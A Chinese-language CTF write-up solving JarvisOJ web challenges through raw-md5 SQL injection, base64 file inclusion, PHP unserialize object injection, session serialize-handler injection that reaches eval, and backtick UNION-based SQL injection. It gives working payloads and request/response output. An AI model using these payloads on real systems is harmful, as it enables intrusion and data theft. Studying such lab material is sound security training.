CTf-JarvisOJ-250-300
条评论Login 250
题目是一个登陆框,输入密码,输错会报错。
抓包,发现返回包有1
2
3Perl/v5.16.3
X-Powered-By: PHP/5.6.21
Hint: "select * from `admin` where password='".md5($pass,true)."'"
考点:md5 和 sql 语句可以利用16进制的特性,构造特殊的项查找注入
参考:
https://blog.csdn.net/greyfreedom/article/details/45846137?utm_source=blogxgwz7
MD5加密后的SQL注入1
2
3
4
5
6
7
8
9
10
11
12MD5加密后的SQL注入。
其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。
1 md5("123456"); //e10adc3949ba59abbe56e057f20f883e
2 md5("123456",true); //� �9I�Y��V�W��>
ffifdyop = 'or'<trash>
md5(str,true)之后的值是包含了'or'<trash>这样的字符串,那么sql语句就是 password=''or'6<trash>'
PCTF{R4w_md5_is_d4ng3rous}
神盾局的秘密 300
题目是个图片。访问一下。抓包,看到返回的包有1
2<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
c2hpZWxkLmpwZw== 解密出来是 shield.jpg
抓包访问一下,返回包里面有一大堆 JEIF 开头的数据乱码数据。
这应该是打印出的 shield.jpg 里的数据。这里就是一个php文件包含漏洞。意思是把其他文件用base64加密,也能然后当成img的参数,也能打印出别的文件的内容。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21这里尝试把 showimg.php 加密 c2hvd2ltZy5waHA=
发包
GET /showimg.php?img=c2hvd2ltZy5waHA= HTTP/1.1
...
得到返回
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
这里判断了 pctf 是否出现在img的参数中,也就是把pctf关键字过滤了。
stripos 定义和用法
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
这里看到,有个 pctf,尝试加密后,访问一下试试。结果file not found。那么继续看看Index.php的内容。1
2
3
4
5
6
7
8
9
10
11
12
13<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
unserialize() 函数
用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
在这个index.php可以得到:
通过 GET 得到一个 class 参数给 g,然后把 g unserialize 反序列化。
然后通过 x变量去读取文件。x 是一个Shield() 类。
继续试试读取 shield.php 试试看。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19shield.php 加密 c2hpZWxkLnBocA==
得到
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
这里定义了Shield类,并说flag就在pctf.php中,前面说到把 pctf关键字过滤了。
那么怎么办?
前面看到 Index.php 中,可以通过 x 变量去读文件。前提是 g 是一个序列化的参数。
g 通过 GET class 得到。注意 x 是一个 Shield 类,上面可以看到 Shield 类中有个 $file 参数,那么就可以构造 $file =”pctf.php”。
但,前提是 pctf.php 是做为 Shield 类的参数,包含在 x 变量中。x 变量后续要被反序列化读出来。那必须先把 Shield 类带上参数 pctf.php,然后进行序列化。1
2
3php 序列化函数 serialize() 函数:
serialize() 函数用于序列化对象或数组,并返回一个字符串。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变
那么需要将 Shield 类带上 pctf参数后,序列化处理。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x = new Shield("pctf.php");
$serialized_data = serialize($x);
echo $serialized_data;
?>
将上面的脚本放到kali下,安装Php环境,执行一下,输出的就是序列化的结果了。1
2
3
4
5
6
7
8
9
10
11
12
13O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
访问: index.php?class = xxxxx
发包
GET /index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
...
得到
<?php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
参考:
https://www.jianshu.com/p/d5b6fc7d7966
https://www.runoob.com/php/php-serialize-function.html
RE? 300
题目给了一个so文件,upx加密过。解密出错。查资料,可以得 udf.so 文件可以加到 mysql 数据库。
参考:https://blog.csdn.net/lidan3959/article/details/17264405
这个题主要是先打个环境,带mysql的linux环境。在kali下使用docker来。1
2
3
4etc/apt/sources.list 添加源
deb https://apt.dockerproject.org/repo debian-stretch main
apt-get update
PCTF{Interesting_U5er_d3fined_Function}
环境太难搭了。放弃。
https://www.cnblogs.com/sijidou/p/10522972.html
PHPINFO 300
访问题目提供了如下的代码。php序列化的问题。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
看样子,应该是利用 OowoO 类给 mdzz 传递参数,通过 eval($this->mdzz) 进行数据读取。那么可能就要把 OowoO 进行序列化操作。
查资料得:
这题的考点是 php 存取 $_SESSION 数据时会对数据进行序列化和反序列化,php 内置了多种处理器用于存取 SESSION 。
常用的有以下三种1
2
3
4
5处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize
(php>=5.5.4) 经过 serialize() 函数反序列处理的数组
配置选项 session.serialize_handler
PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器:1
session.serialize_handler "php" PHP_INI_ALL
安全隐患
通过上面对存储格式的分析,如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据:)1
$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
例如上面的 SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:1
a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:1
2
3
4
5
6// var_dump($_SESSION);
array(1) {
["a:1:{s:4:"ryat";s:20:""]=>
object(stdClass)#1 (0) {
}
}
可以看到,通过注入 | 字符伪造了对象的序列化数据,成功实例化了 stdClass 对象:)
解题
通过 phpinfo 页面,我们知道 php.ini 中默认 session.serialize_handler 为 php_serialize ,而 index.php 中将其设置为 php 。这就导致了 seesion的反序列化问题。
session.upload_progress.enabled 为 On。当一个上传在处理中,同时 POST 一个与 INI 中设置的 session.upload_progress.name 同名变量时,当 PHP 检测到这种 POST请求时,它会在 $_SESSION 中添加一组数据。所以可以通过 Session Upload Progress 来设置 session。
我们需要自己构建一个上传操作。代码如下。1
2
3
4
5<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
把上述的代码保存为html,通过 PHP_SESSION_UPLOAD_PROGRESS 设置 session。
下面需要进行序列化操作。需要序列化的是 OowoO 类,写法如下。1
2
3
4
5
6
7
8
9
10
11
12<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz = 'xxx';
}
$x = new OowoO();
$serialized_data = serialize($x);
echo $serialized_data;
?>
这里需要给 mdzz 复制一个命令,这个命令要用来读取数据。
print_r(scandir(dirname(FILE)));
- 打印出web根目录下所有文件。
1
2
3
4
5
6
7
8print_r() 函数用于打印变量,以更容易理解的形式展示。
scandir($x) 列出 $x 目录中的文件和目录
__FILE__ 是当前脚本的绝对路径
dirname(__FILE__) 获得脚本所在目录的绝对路径
https://www.runoob.com/php/php-print_r-function.html
https://www.w3school.com.cn/php/func_directory_scandir.asp
https://www.awaimai.com/408.html
所以1
2
3$mdzz = 'print_r(scandir(dirname(__FILE__)));';
运行脚本得到
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防止转义,在引号前加上\。1
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
利用前面的html页面随便上传一个东西,抓包,把filename改为如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
发包的重要部分如下:
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
得到返回:
</code>Array
(
[0] => .
[1] => ..
[2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
[3] => index.php
[4] => phpinfo.php
)
这3个php文件是在同目录下
有个 Here_1s_7he_fl4g_buT_You_Cannot_see.php ,那么接下来就是去读这个文件。
根据phpinfo可以得到文件的存放路径:1
2_SERVER["SCRIPT_FILENAME"] /opt/lampp/htdocs/index.php
路径 path = /opt/lampp/htdocs/
那么给 mdzz 重新赋值,用来读文件。1
2
3file_get_contents() 以字符串形式获取文件的内容。
$mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
https://www.php.net/manual/zh/function.file.php
重新序列化一下,得到1
2
3
4
5
6
7
8O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
加 |,然后加 \ 避免 双引号被转义
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
发包得到
</code><?php
$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";
?>
参考链接:
https://gist.github.com/chtg/f74965bfea764d9c9698
https://xz.aliyun.com/t/3017
inject 300
题目提示先找到源码。那么源码泄露的方式都试一把。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20在CTF中,备份文件这个考点经常出现,而在对网站进行修改或者升级过程中也会生成备份文件,如果这些文件未及时删除,而且文件又能被访问到时,就很有可能被恶意下载,利用。
常见格式:
.php~
.un~
.swp
.rar
.zip
.7z
.tar
.gz
.tar.gz
.~
.bak
.txt
.html
.vim
.swn
.swo
.old
参考:http://sunu11.com/2017/04/28/11/
最后访问 Index.php~ 得到源码。1
2
3
4
5
6
7
8
9
10
11<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
mysqli_query() 函数执行某个针对数据库的查询。
?>
这里存在注入,即是secret_{$table} 可控。数据从table来。
但是注意,这里注入成功的条件。
- desc `secret_{$table} 这条语句要能先能执行成功
- select ‘flag{xxx}’ from secret_{$table} 这条语句用来查询想要的数据
仔细观察,可以看到 secret_{$table} 这里用到了 反引号 :`
需要明白反引号这里的用法。参考:https://www.jianshu.com/p/36363f4190df
简单的说,反引号用来标识mysql中保留字作为普通字段来解析。比如
1 | SELECT `select` from `test` WHERE `select`='字段值'; |
如果这样写1
2SELECT `select` `aaa` from `test` WHERE `select`='字段值';
表明 aaa 是 select 字段的别名,也是正确的。
那么这里构造1
2
3
4
5
6
7
8desc `secret_test` `union select database() `
因为回显只有一行 flag{xxx} ,那么用 limit 1,1 限制输出就行。
所以构造
table=test` `union select database() limit 1,1
则得到
desc `secret_test` `union select database() limit 1,1`
结合第2句的select 就成联合查询,如下。
select 'flag{xxx}' from secret_test` `union select database() limit 1,1"
注意在浏览器中输入这句,空格会被转移为 %20 ,说明对空格有过滤。1
2
3
4发包:
?table=test`%20`union%20select%20database()%20limit%201,1
得到数据库名
61d300
查表1
2
3
4table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
得到
secret_flag,secret_test
查列1
2
3
4
5
6
7
8
9table=test` `union select group_concat(column_name) from information_schema.columns where table_name="secret_flag" limit 1,1
这句不会执行成功。因为单双引号都被过滤,那么用十六进制数来指定表名。
secret_flag = 0x7365637265745f666c6167
则
table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
得到
flagUwillNeverKnow
查数据1
2
3
4table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1
得
flag{luckyGame~}
参考:
https://blog.csdn.net/qq_38780085/article/details/79905892